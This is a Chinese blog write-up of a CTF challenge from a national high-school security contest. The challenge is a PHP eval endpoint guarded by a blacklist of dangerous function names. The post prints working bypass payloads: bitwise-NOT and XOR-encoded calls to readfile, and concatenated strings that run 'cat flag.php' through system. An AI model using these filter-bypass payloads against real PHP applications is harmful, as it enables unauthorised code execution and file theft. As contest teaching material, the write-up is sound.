zoukankan      html  css  js  c++  java
  • [第二届全国中学生网络安全竞赛]bypass

    前几天拿到了线下赛的源码,做做看。这道主要是命令执行的黑名单绕过

    先看看给出的代码:

     <?php
    highlight_file(__FILE__);
    error_reporting(0);
    $blacklist = ["system", "ini_set", "exec", "scandir", "shell_exec", "proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
    $blacklist = array_merge($blacklist, get_defined_functions()['internal']);
    foreach($blacklist as $i){
        if(stristr($_GET[cmd], $i)!==false){
            die('hack');
        }
    }
    eval($_GET[cmd]);
    ?> 

    可以看到把内置定义的函数和一些敏感函数都加入了Blacklist,下面这道题的两种解法:

    1.取反或异或绕过

    已知flag在flag.php文件中,直接构造读取flag.php文件的取反Payload:

    (~%20%8D%9A%9E%9B%99%96%93%9A)((~%20%99%93%9E%98%D1%8F%97%8F));

    发送请求源代码得到Flag:

    同样的,构造一个异或Payload也可以读取到文件内容:

    ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("flag.php");&%ff=readfile

    2.字符串拼接绕过

    这个是赛事主办方给出的ppt上的解法,是通过赋值变量然后拼接字符串实现的命令执行

    第一个Payload是通过拼接函数名实现的:

    $a='sys'.'tem';$a("cat flag.php");

    第二个Payload是通过拼接语句实现的:

    $a="syste";$b="m(%27cat%20flag.php%27);";$c=$a.$b;eval($c);

    原理都是一样的,就不过多赘述了,啥也不是,散会!

  • 相关阅读:
    6.BLE---数据传输
    5.BLE---报文
    4.BLE---广播信道防冲突与数据信道选择
    3.BLE---信道与功率
    Ubuntu 安装exe 软件
    Zephyr ubuntu 环境搭建
    ES6语法(一)let 和 const 命令
    Vue(二十三)vuex + axios + 缓存 运用 (以登陆功能为例)
    Vue(二十二)vuex小案例(官网计数案例整合)
    Vue(二十一)使用express模拟接口数据
  • 原文地址:https://www.cnblogs.com/yesec/p/12450269.html
Copyright © 2011-2022 走看看